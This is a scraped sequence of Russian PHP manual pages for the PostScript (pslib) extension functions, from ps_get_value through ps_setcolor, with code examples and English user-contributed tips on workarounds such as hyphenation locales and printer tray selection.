Расстояние между словами, кратное ширине символа пробела.

charspacing

Пробел между символами. Если charspacing не равно 0.0, лигатуры всегда будут растворяться.

hyphenminchars

Минимальное количество символов в конце слова.

parindent

Отступ первой n строки абзаца.

numindentlines

Номер строки в абзаце для отступа, если parindent не равно 0,0.

parskip

Расстояние между абзацами.

linenumberspace

Общее пространство перед каждой строкой для номера строки.

linenumbersep

Пробел между строкой и номером строки.

major

Мажорная версия pslib.

minor

Минорная версия pslib.

subminor, revision

Патч-версия pslib.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

name

Название значения.

modifier

Параметр modifier указывает ресурс, для которого должно быть получено значение. Это может быть идентификатор шрифта или изображения.

Возвращаемые значения

Возвращает значение параметра или false.

Смотрите также

  • ps_set_value() - Устанавливает определённые значения

User Contributed Notes

tilman dot schroeder at gmx dot de 31-Dec-2006 09:32
Note that the modifier parameter is REQUIRED in some (perhaps all) cases where you would not believe it to be required but optional:

<?php
$texty=ps_get_value($ps,'texty'); // does NOT work!

// but this works, however:

$foo=NULL;
$texty=ps_get_value($ps,'texty',$foo); // DOES work!

// this works too:
$texty=ps_get_value($ps,'texty',NULL);
?>

if your script just fails and sends a file with zero length to your browser just try the workaround above. saves time and you will not get upset ;)

would be nice if somebody would be able to tell why pslib behaves this way ...

PHP version 4.4.4-8, pslib verision 0.2.7-1 (Debian etch)

Bye and a happy new year!
Tilman


Переносит слово

  • « ps_get_value
  • ps_include_file »
  • PHP Manual
  • Функции PS
  • Переносит слово

ps_hyphenate

(PECL ps >= 1.1.1)

ps_hyphenate — Переносит слово

Описание

ps_hyphenate(resource $psdoc, string $text): array|false

Переносит указанное слово. Функция ps_hyphenate() оценивает дефисы значения (устанавливается ps_set_value()) и дефисы параметра (устанавливается ps_set_parameter()). Перед вызовом этой функции необходимо установить дефис.

Для работы функции требуется, чтобы категория языкового стандарта LC_CTYPE была установлена корректно. Это делается, при инициализации модуля с использованием переменных окружения. В системах Unix для получения дополнительной информации прочтите справочную страницу языковых стандартов.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

text

text не должен содержать никаких символов, отличных от букв. Возможные позиции для переносов возвращаются в виде массива целых чисел. Каждое число - это позиция символа в text, после которой может быть выполнен перенос.

Возвращаемые значения

Массив целых чисел, указывающий положение возможных переносов в тексте или false в случае возникновения ошибки.

Примеры

Пример #1 Перенос текста

<?php
$word = "Koordinatensystem";
$psdoc = ps_new();
ps_set_parameter($psdoc, "hyphendict", "hyph_de.dic");
$hyphens = ps_hyphenate($psdoc, $word);
for($i=0; $i<strlen($word); $i++) {
echo $word[$i];
if(in_array($i, $hyphens))
echo "-";
}
ps_delete($psdoc);
?>

Результат выполнения данного примера:

Ko-ordi-na-ten-sys-tem

Смотрите также

  • ps_show_boxed() - Выводит текст в поле
  • locale(1)

User Contributed Notes

1manfactory at gmail dot com 19-Nov-2016 05:28
The above example does NOT work with German Umlauts (aou) properly.

I had to do the following to make it work.

setlocale (LC_CTYPE , "de_DE.iso88591"); # it does not work with "de_DE.utf8" and of course your system should run this locale setting

$hyphens = ps_hyphenate($psdoc, utf8_decode($word)); # only our couse if your source code is UTF8 coded

for($i=0; $i<mb_strlen($word); $i++) { # to be on the safe side

echo utf8_encode($word[$i]); # again only if your code is UTF8


Читает внешний файл с необработанным кодом PostScript

  • « ps_hyphenate
  • ps_lineto »
  • PHP Manual
  • Функции PS
  • Читает внешний файл с необработанным кодом PostScript

ps_include_file

(PECL ps >= 1.3.4)

ps_include_file — Читает внешний файл с необработанным кодом PostScript

Описание

ps_include_file(resource $psdoc, string $file): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

file

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

php at catchall dot toao dot net 16-Jun-2009 12:46
I wanted to print to a specific tray of my printer, a Dell 3110cn.  Some printers allow you to specify in their config what tray will be used as a default tray, but my printer doesn't.  Googling told me that printing to a specific tray is not a function of PostScript but rather a function of my printer itself.  So, I had to find the function for my specific printer.  I located a PPD file for my printer.  Purely by luck (I searched through the file for the word 'tray') I found the following:

*InputSlot 2ndTray-H/Tray 2 (500 Sheets): "
  3 dict begin
  /MediaPosition 1 def
  /DeferredMediaSelection true def
  /TraySwitch false def
  currentdict end setpagedevice
" *End

I saved this as a file named Dell.ps, without the first and last lines, and with a blank line at the end.  Then I used the following command in my program:

<?php ps_include_file($ps, 'Dell.ps'); ?>

It worked!
lindsay at dingos dot net 14-Mar-2008 06:43
This method allows you to insert raw postscript at any point in the postscript document.
You can use this function to include 'Barcodes in pure PostScript' in the prolog of your postscript document, and then create a temporary file that contains the necessary postscript to actually call the barcode generating postscript function at whatever point in your document you want it to appear.

it would be nice if there was an alternate form of this function that allowed you to just insert the raw postscript other than make a temporary file to be opened by the function.


Рисует линию

  • « ps_include_file
  • ps_makespotcolor »
  • PHP Manual
  • Функции PS
  • Рисует линию

ps_lineto

(PECL ps >= 1.1.0)

ps_lineto — Рисует линию

Описание

ps_lineto(resource $psdoc, float $x, float $y): bool

Добавляет к текущему пути прямую линию от текущей точки до заданных координат. Используйте ps_moveto(), чтобы установить начальную точку линии.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

x

Координата X конечной точки линии.

y

Координата Y конечной точки линии.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Рисование прямоугольника

<?php
$ps = ps_new();
if (!ps_open_file($ps, "rectangle.ps")) {
print "Не удаётся открыть файл PostScript\n";
exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Уве Штайнманн");
ps_set_info($ps, "Title", "Пример Линето");

ps_begin_page($ps, 596, 842);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

Смотрите также

  • ps_moveto() - Устанавливает текущую точку

User Contributed Notes

There are no user contributed notes for this page.


Создаёт плашечный цвет

  • « ps_lineto
  • ps_moveto »
  • PHP Manual
  • Функции PS
  • Создаёт плашечный цвет

ps_makespotcolor

(PECL ps >= 1.1.0)

ps_makespotcolor — Создаёт плашечный цвет

Описание

ps_makespotcolor(resource $psdoc, string $name, int $reserved = 0): int

Создаёт плашечный цвет из текущего цвета заливки. Цвет заливки должен быть определён в цветовом пространстве rgb, cmyk или gray. Название плашечного цвета может быть произвольным. Плашечный цвет может быть установлен как любой цвет с помощью ps_setcolor(). Если документ не печатается, а отображается программой просмотра PostScript, используется заданный цвет в указанном цветовом пространстве.

Список параметров

psdoc

Идентификатор ресурса файла PostScript, возвращённый функцией ps_new().

name

Название плашечного цвета, например, Pantone 5565.

Возвращаемые значения

Идентификатор нового плашечного цвета или 0 в случае возникновения ошибки.

Примеры

Пример #1 Создание и использование плашечного цвета

<?php
$ps = ps_new();
if (!ps_open_file($ps, "spotcolor.ps")) {
print "Не удаётся открыть файл PostScript\n";
exit;
}

ps_set_info($ps, "Creator", "spotcolor.php");
ps_set_info($ps, "Author", "Уве Штайнманн");
ps_set_info($ps, "Title", "Пример плашечного цвета");

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "fill", "cmyk", 0.37, 0.0, 0.34, 0.34);
$spotcolor = ps_makespotcolor($ps, "PANTONE 5565 C", 0);
ps_setcolor($ps, "fill", "spot", $spotcolor, 0.5, 0.0, 0.0);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_fill($ps);
ps_end_page($ps);

ps_delete($ps);
?>

В этом примере создаётся плашечный цвет "PANTONE 5565 C", который является более темно-зелёным (оливковым) и заполняет прямоугольник с интенсивностью 50%.

Смотрите также

  • ps_setcolor() - Устанавливает текущий цвет

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает текущую точку

  • « ps_makespotcolor
  • ps_new »
  • PHP Manual
  • Функции PS
  • Устанавливает текущую точку

ps_moveto

(PECL ps >= 1.1.0)

ps_moveto — Устанавливает текущую точку

Описание

ps_moveto(resource $psdoc, float $x, float $y): bool

Устанавливает новые координаты текущей точке. Если это первый вызов ps_moveto() после того, как предыдущий путь был завершён, тогда функция запустит новый путь. Если функция вызывается в середине пути, она просто устанавливает текущую точку и запускает дополнительный путь.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

x

Координата X точки, в которую нужно переместиться.

y

Координата Y точки, в которую нужно переместиться.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_lineto() - Рисует линию

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект документа PostScript

  • « ps_moveto
  • ps_open_file »
  • PHP Manual
  • Функции PS
  • Создаёт новый объект документа PostScript

ps_new

(PECL ps >= 1.1.0)

ps_new — Создаёт новый объект документа PostScript

Описание

ps_new(): resource|false

Создаёт новый экземпляр документа. Функция не создаёт файл на диске или в памяти, она просто все настраивает. За ps_new() обычно следует вызов ps_open_file() для фактического создания документа postscript.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ресурс документа PostScript или false в случае возникновения ошибки. Возвращаемое значение передаётся всем остальным функциям в качестве первого аргумента.

Смотрите также

  • ps_delete() - Удаляет все ресурсы документа PostScript

User Contributed Notes

There are no user contributed notes for this page.


Открывает файл для вывода

  • « ps_new
  • ps_open_image_file »
  • PHP Manual
  • Функции PS
  • Открывает файл для вывода

ps_open_file

(PECL ps >= 1.1.0)

ps_open_file — Открывает файл для вывода

Описание

ps_open_file(resource $psdoc, string $filename = ?): bool

Создаёт новый файл на диске и записывает в него документ PostScript. Файл будет закрыт при вызове ps_close().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

filename

Имя файла postscript. Если filename не передан, документ будет создан в памяти и весь вывод будет идти прямо в браузер.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_close() - Закрывает документ PostScript

User Contributed Notes

php at catchall dot toao dot net 05-Jul-2009 08:42
Today, I used this function and did not specify a path to the file name.  The file was created in C:\Program Files\Apache2.2 instead of the current working directory.  When using this function, be sure to specify the full path to the file that should be created.


Открывает изображение из файла

  • « ps_open_file
  • ps_open_image »
  • PHP Manual
  • Функции PS
  • Открывает изображение из файла

ps_open_image_file

(PECL ps >= 1.1.0)

ps_open_image_file — Открывает изображение из файла

Описание

ps_open_image_file(
resource $psdoc,
string $type,
string $filename,
string $stringparam = ?,
int $intparam = 0
): int

Загружает изображение для дальнейшего использования.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

type

Тип изображения. Возможные значения: png, jpeg или eps.

filename

Имя файла, содержащего данные изображения.

stringparam

Параметр не используется.

intparam

Параметр не используется.

Возвращаемые значения

Возвращает идентификатор изображения или ноль в случае возникновения ошибки. Идентификатор - положительное число больше 0.

Смотрите также

  • ps_open_image() - Считывает изображение для последующего размещения
  • ps_place_image() - Размещает изображение на странице
  • ps_close_image() - Закрывает изображение и освобождает память

User Contributed Notes

There are no user contributed notes for this page.


Считывает изображение для последующего размещения

  • « ps_open_image_file
  • ps_open_memory_image »
  • PHP Manual
  • Функции PS
  • Считывает изображение для последующего размещения

ps_open_image

(PECL ps >= 1.1.0)

ps_open_image — Считывает изображение для последующего размещения

Описание

ps_open_image(
resource $psdoc,
string $type,
string $source,
string $data,
int $lenght,
int $width,
int $height,
int $components,
int $bpc,
string $params
): int

Считывает изображение, которое уже доступно в памяти. Параметр source в настоящее время не используется и предполагается, что это memory. Данные изображения представляют собой последовательность пикселей, начинающуюся в верхнем левом углу и заканчивающуюся в правом нижнем углу. Каждый пиксель состоит из компонентов цвета (components) и у каждого компонента есть биты bpc.

Список параметров

psdoc

Идентификатор ресурса файла PostScript, возвращённый функцией ps_new().

type

Тип изображения. Возможные значения: png, jpeg или eps.

source

Не используется.

data

Данные изображения.

length

Длина данных изображения.

width

Ширина изображения.

height

Высота изображения.

components

Количество компонентов для каждого пикселя. Может быть: 1 (изображения в градациях серого), 3 (изображения RGB) или 4 (изображения cmyk, rgba).

bpc

Количество бит на компонент (чаще всего 8).

params

Возвращаемые значения

Возвращает идентификатор изображения или ноль в случае возникновения ошибки. Идентификатор - положительное число больше 0.

Смотрите также

  • ps_open_image_file() - Открывает изображение из файла
  • ps_place_image() - Размещает изображение на странице
  • ps_close_image() - Закрывает изображение и освобождает память

User Contributed Notes

There are no user contributed notes for this page.


Берёт изображение GD и возвращает изображение для размещения в документе PS

  • « ps_open_image
  • ps_place_image »
  • PHP Manual
  • Функции PS
  • Берёт изображение GD и возвращает изображение для размещения в документе PS

ps_open_memory_image

(PECL ps >= 1.1.0)

ps_open_memory_image — Берёт изображение GD и возвращает изображение для размещения в документе PS

Описание

ps_open_memory_image(resource $psdoc, int $gd): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

gd

User Contributed Notes

There are no user contributed notes for this page.


Размещает изображение на странице

  • « ps_open_memory_image
  • ps_rect »
  • PHP Manual
  • Функции PS
  • Размещает изображение на странице

ps_place_image

(PECL ps >= 1.1.0)

ps_place_image — Размещает изображение на странице

Описание

ps_place_image(
resource $psdoc,
int $imageid,
float $x,
float $y,
float $scale
): bool

Помещает ранее загруженное изображение на страницу. Изображение можно масштабировать. Если изображение тоже необходимо повернуть, нужно будет сначала повернуть систему координат с помощью ps_rotate().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

imageid

Идентификатор ресурса изображения, возвращённый ps_open_image() или ps_open_image_file().

x

Координата X левого нижнего угла изображения.

y

Координата Y левого нижнего угла изображения.

scale

Коэффициент масштабирования изображения. Масштаб 1.0 даст разрешение 72 точки на дюйм, потому что каждый пиксель эквивалентен 1 точке.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_open_image() - Считывает изображение для последующего размещения
  • ps_open_image_file() - Открывает изображение из файла

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 02:05
If you want to make a template with graphics software and place it on your PostScript page, one way to do it is with an eps file.

<?php
$template = ps_open_image_file($ps, 'eps', 'template.eps');
ps_place_image($ps, $template, 0, 0, 1);
?>

Professional page layout software such as InDesign will typically be able to generate an eps file.  If your software can't, one way to do it (on Windows) is to set up a printer that prints to file with the driver "Lexmark Color 4079 plus PS".  This driver is included with Windows and has the option in its advanced preferences to generate an EPS file.
mike at lasaero dot com 12-May-2007 06:11
To get png images to work I had to save them as indexed colour (128 colours).


Рисует прямоугольник

  • « ps_place_image
  • ps_restore »
  • PHP Manual
  • Функции PS
  • Рисует прямоугольник

ps_rect

(PECL ps >= 1.1.0)

ps_rect — Рисует прямоугольник

Описание

ps_rect(
resource $psdoc,
float $x,
float $y,
float $width,
float $height
): bool

Рисует прямоугольник с нижним левым углом в точке (x, y). Прямоугольник начинается и заканчивается в нижнем левом углу. Если функция вызывается вне пути, она начинает новый путь. Если вызывается внутри пути, прямоугольник добавится как дополнительный путь. Если последняя операция рисования не заканчивается в нижнем левом углу, на пути будет разрыв.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

x

Координата X левого нижнего угла прямоугольника.

y

Координата Y левого нижнего угла прямоугольника.

width

Ширина изображения.

height

Высота изображения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_arc() - Рисует дугу против часовой стрелки
  • ps_cirle()
  • ps_lineto() - Рисует линию

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 08:23
Example: draw a purple box 144 points wide by 72 points high on a page in position 0, 0:

<?php
ps_setcolor($ps, "fill", "cmyk", .5, .5, 0, 0);
ps_rect($ps, 0, 0, 144, 72);
ps_fill($ps);
?>


Восстанавливает ранее сохранённый контекст

  • « ps_rect
  • ps_rotate »
  • PHP Manual
  • Функции PS
  • Восстанавливает ранее сохранённый контекст

ps_restore

(PECL ps >= 1.1.0)

ps_restore — Восстанавливает ранее сохранённый контекст

Описание

ps_restore(resource $psdoc): bool

Восстанавливает ранее сохранённый графический контекст. Любой вызов ps_save() должен сопровождаться вызовом ps_restore(). Все преобразования координат, настройки стиля линий, настройки цвета и т.д. восстанавливаются до состояния до вызова ps_save().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_save() - Сохраняет текущий контекст

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает коэффициент вращения

  • « ps_restore
  • ps_save »
  • PHP Manual
  • Функции PS
  • Устанавливает коэффициент вращения

ps_rotate

(PECL ps >= 1.1.0)

ps_rotate — Устанавливает коэффициент вращения

Описание

ps_rotate(resource $psdoc, float $rot): bool

Устанавливает поворот системы координат.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

rot

Угол поворота в градусах.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Вращение системы координат

<?php
function rectangle($ps) {
ps_moveto($ps, 0, 0);
ps_lineto($ps, 0, 50);
ps_lineto($ps, 50, 50);
ps_lineto($ps, 50, 0);
ps_lineto($ps, 0, 0);
ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "rotation.ps")) {
print "Не удаётся открыть файл PostScript\n";
exit;
}

ps_set_info($ps, "Creator", "rotation.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Rotation example");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 100, 100);
ps_rotate($ps, 45);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Текст без поворота");
ps_end_page($ps);

ps_delete($ps);
?>

В приведённом выше примере показан очень распространённый способ поворота изображения (в данном случае просто прямоугольника) путём поворота системы координат. Поскольку система координат графики предполагает, что (0,0) является началом координат, система координат страницы также переводится, чтобы разместить графику не на краю страницы. Обратите внимание на порядок ps_translate() и ps_rotate(). В приведённом выше примере прямоугольник вращается вокруг точки (100, 100) в непереведённой системе координат. Переключение двух операторов даёт совершенно другой результат.

Чтобы вывести следующий текст в исходной позиции, все модификации системы координат инкапсулируются в ps_save() и ps_restore().

Смотрите также

  • ps_scale() - Устанавливает коэффициент масштабирования
  • ps_translate() - Изменяет систему координат

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет текущий контекст

  • « ps_rotate
  • ps_scale »
  • PHP Manual
  • Функции PS
  • Сохраняет текущий контекст

ps_save

(PECL ps >= 1.1.0)

ps_save — Сохраняет текущий контекст

Описание

ps_save(resource $psdoc): bool

Сохраняет текущий графический контекст, содержащий цвета, настройки перемещения, поворота и многое другое. Сохранённый контекст можно восстановить с помощью ps_restore().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_restore() - Восстанавливает ранее сохранённый контекст

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает коэффициент масштабирования

  • « ps_save
  • ps_set_border_color »
  • PHP Manual
  • Функции PS
  • Устанавливает коэффициент масштабирования

ps_scale

(PECL ps >= 1.1.0)

ps_scale — Устанавливает коэффициент масштабирования

Описание

ps_scale(resource $psdoc, float $x, float $y): bool

Устанавливает горизонтальный и вертикальный масштаб системы координат.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

x

Коэффициент масштабирования в горизонтальном направлении.

y

Коэффициент масштабирования по вертикали.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_rotate() - Устанавливает коэффициент вращения
  • ps_translate() - Изменяет систему координат

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет границы аннотаций

  • « ps_scale
  • ps_set_border_dash »
  • PHP Manual
  • Функции PS
  • Устанавливает цвет границы аннотаций

ps_set_border_color

(PECL ps >= 1.1.0)

ps_set_border_color — Устанавливает цвет границы аннотаций

Описание

ps_set_border_color(
resource $psdoc,
float $red,
float $green,
float $blue
): bool

Ссылки, добавленные с помощью одной из функций ps_add_weblink(), ps_add_pdflink() и т.д., будут отображаться с закруглённым прямоугольником, когда документ PostScript преобразуется в PDF и просматривается в программе просмотра PDF. Этот прямоугольник не отображается в документе PostScript. Функция устанавливает цвет границы прямоугольника.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

red

Красный компонент цвета границы.

green

Зелёный компонент цвета границы.

blue

Синий компонент цвета границы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_set_border_dash() - Устанавливает длину тире для границы аннотации
  • ps_set_border_style() - Устанавливает стиль границы аннотаций

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает длину тире для границы аннотации

  • « ps_set_border_color
  • ps_set_border_style »
  • PHP Manual
  • Функции PS
  • Устанавливает длину тире для границы аннотации

ps_set_border_dash

(PECL ps >= 1.1.0)

ps_set_border_dash — Устанавливает длину тире для границы аннотации

Описание

ps_set_border_dash(resource $psdoc, float $black, float $white): bool

Ссылки, добавленные с помощью одной из функций ps_add_weblink(), ps_add_pdflink() и т.д., будут отображаться с закруглённым прямоугольником, когда документ PostScript преобразуется в PDF и просматривается в программе просмотра PDF. Этот прямоугольник не отображается в документе PostScript. Функция устанавливает внешний вид и ширину линии границы.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

black

Длина чёрточки.

white

Длина промежутка между чёрточками.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_set_border_color() - Устанавливает цвет границы аннотаций
  • ps_set_border_style() - Устанавливает стиль границы аннотаций

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает стиль границы аннотаций

  • « ps_set_border_dash
  • ps_set_info »
  • PHP Manual
  • Функции PS
  • Устанавливает стиль границы аннотаций

ps_set_border_style

(PECL ps >= 1.1.0)

ps_set_border_style — Устанавливает стиль границы аннотаций

Описание

ps_set_border_style(resource $psdoc, string $style, float $width): bool

Ссылки, добавленные с помощью одной из функций ps_add_weblink(), ps_add_pdflink() и т.д., будут отображаться с закруглённым прямоугольником, когда документ PostScript преобразуется в PDF и просматривается в программе просмотра PDF. Этот прямоугольник не отображается в документе PostScript. Функция устанавливает внешний вид и ширину линии границы.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

style

style может быть solid или dashed.

width

Ширина линии границы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_set_border_color() - Устанавливает цвет границы аннотаций
  • ps_set_border_dash() - Устанавливает длину тире для границы аннотации

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает информационные поля документа

  • « ps_set_border_style
  • ps_set_parameter »
  • PHP Manual
  • Функции PS
  • Устанавливает информационные поля документа

ps_set_info

(PECL ps >= 1.1.0)

ps_set_info — Устанавливает информационные поля документа

Описание

ps_set_info(resource $p, string $key, string $val): bool

Устанавливает определённые информационные поля документа. Эти поля будут отображаться в виде комментария в заголовке файла PostScript. Если документ конвертируется в pdf, эти поля также будут использоваться для информации о документе.

Для BoundingBox обычно устанавливается значение, присвоенное первой странице. Это работает, только если ps_findfont() не вызывалась раньше. В таких случаях BoundingBox не будет установлен, если вы не установите его явно с помощью этой функции.

Функция больше не будет работать, если заголовок файла postscript уже записан. Она должна вызываться перед первой страницей или первым вызовом ps_findfont().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

key

Имя настраиваемого информационного поля. Можно установить следующие значения: Keywords, Subject, Title, Creator, Author, BoundingBox и Orientation. Имейте в виду, что некоторые из них имеют значение для программ просмотра документов PostScript.

value

Значение информационного поля. Поле Orientation может быть установлено как Portrait или Landscape. В BoundingBox - это строка, состоящая из четырёх чисел. Первые два числа - координаты левого нижнего угла страницы. Последние два числа - координаты верхнего правого угла.

Замечание:

До версии 0.2.6 pslib BoundingBox и Orientation будут перезаписаны функцией ps_begin_page(), если функция ps_findfont() не была вызвана ранее.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_findfont() - Загружает шрифт
  • ps_begin_page() - Начинает новую страницу

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает определённые параметры

  • « ps_set_info
  • ps_set_text_pos »
  • PHP Manual
  • Функции PS
  • Устанавливает определённые параметры

ps_set_parameter

(PECL ps >= 1.1.0)

ps_set_parameter — Устанавливает определённые параметры

Описание

ps_set_parameter(resource $psdoc, string $name, string $value): bool

Устанавливает несколько параметров, которые используются многими функциями. Параметры по определению являются строковыми значениями.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

name

Список возможных имён смотрите ps_get_parameter().

value

Значение параметра.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_get_parameters()
  • ps_set_value() - Устанавливает определённые значения

User Contributed Notes

php at catchall dot toao dot net 12-Jun-2009 08:54
Note that when setting a parameter such as "true" or "false", in this case "true" and "false" are strings.
Correct syntax would be:
<?php ps_set_parameter($ps, "linebreak", "true"); ?>
This does NOT work:
<?php ps_set_parameter($ps, "linebreak", true); ?>


Устанавливает позицию для вывода текста

  • « ps_set_parameter
  • ps_set_value »
  • PHP Manual
  • Функции PS
  • Устанавливает позицию для вывода текста

ps_set_text_pos

(PECL ps >= 1.1.0)

ps_set_text_pos — Устанавливает позицию для вывода текста

Описание

ps_set_text_pos(resource $psdoc, float $x, float $y): bool

Устанавливает позицию для следующего вывода текста. Можно установить значения X и Y отдельно, вызвав ps_set_value() и выбрав textx или texty соответственно в качестве имени значения.

Для вывода текста в определённом месте, удобнее использовать ps_show_xy() вместо установки позиции текста и вызова ps_show().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

x

Координата X новой позиции текста.

y

Координата Y новой позиции текста.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Размещение текста в заданной позиции

<?php
$ps = ps_new();
if (!ps_open_file($ps, "text.ps")) {
print "Не удается открыть файл PostScript\n";
exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Уве Штайнманн");
ps_set_info($ps, "Title", "Пример размещения текста");

ps_begin_page($ps, 596, 842);
$psfont = ps_findfont($ps, "Helvetica", "", 0);
ps_setfont($ps, $psfont, 8.0);
ps_show_xy($ps, "Some text at (100, 100)", 100, 100);

ps_set_value($ps, "textx", 100);
ps_set_value($ps, "texty", 120);
ps_show($ps, "Some text at (100, 120)");
ps_end_page($ps);

ps_delete($ps);
?>

Смотрите также

  • ps_set_value() - Устанавливает определённые значения
  • ps_show() - Выводит текст

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает определённые значения

  • « ps_set_text_pos
  • ps_setcolor »
  • PHP Manual
  • Функции PS
  • Устанавливает определённые значения

ps_set_value

(PECL ps >= 1.1.0)

ps_set_value — Устанавливает определённые значения

Описание

ps_set_value(resource $psdoc, string $name, float $value): bool

Устанавливает несколько значений, которые используются многими функциями. Параметры по определению являются значениями с плавающей точкой.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

name

Значение name может быть одно из следующего:

textrendering

Способ отображения текста.

textx

Координата X для вывода текста.

texty

Координата Y для вывода текста.

wordspacing

Расстояние между словами относительно ширины пробела.

leading

Расстояние между строками в пикселях.

value

Значение параметра.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_get_value() - Получает определённые значения
  • ps_set_parameter() - Устанавливает определённые параметры

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает текущий цвет

  • « ps_set_value
  • ps_setdash »
  • PHP Manual
  • Функции PS
  • Устанавливает текущий цвет

ps_setcolor

(PECL ps >= 1.1.0)

ps_setcolor — Устанавливает текущий цвет

Описание

ps_setcolor(
resource $psdoc,
string $type,
string $colorspace,
float $c1,
float $c2,
float $c3,
float $c4
): bool

Устанавливает цвет для рисования, заливки или и того и другого.

Список параметров

psdoc

Идентификатор ресурса файла PostScript, возвращённый функцией ps_new().

type

Параметр type может быть: both, fill или fillstroke.

colorspace

Цветовое пространство должно быть одним из: gray, rgb, cmyk, spot, pattern. В зависимости от цветового пространства будут использоваться только первый, первые три или все параметры.

c1

В зависимости от цветового пространства параметр может принимать значение: красный компонент (rgb), голубой компонент (cmyk), значение серого (gray), идентификатор плашечного цвета или идентификатор шаблона.

c2

В зависимости от цветового пространства параметр может принимать значение: либо зелёный компонент (rgb), либо пурпурный компонент (cmyk).

c3

В зависимости от цветового пространства параметр может принимать значение: либо синий компонент (rgb), либо жёлтый компонент (cmyk).

c4

Должно быть установлено только в цветовом пространстве cmyk, указывается чёрный компонент.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Предостережение

Второй параметр в настоящее время не всегда используется. Цвет иногда устанавливается для заливки и рисования так же, как если бы было передано значение fillstroke.

User Contributed Notes

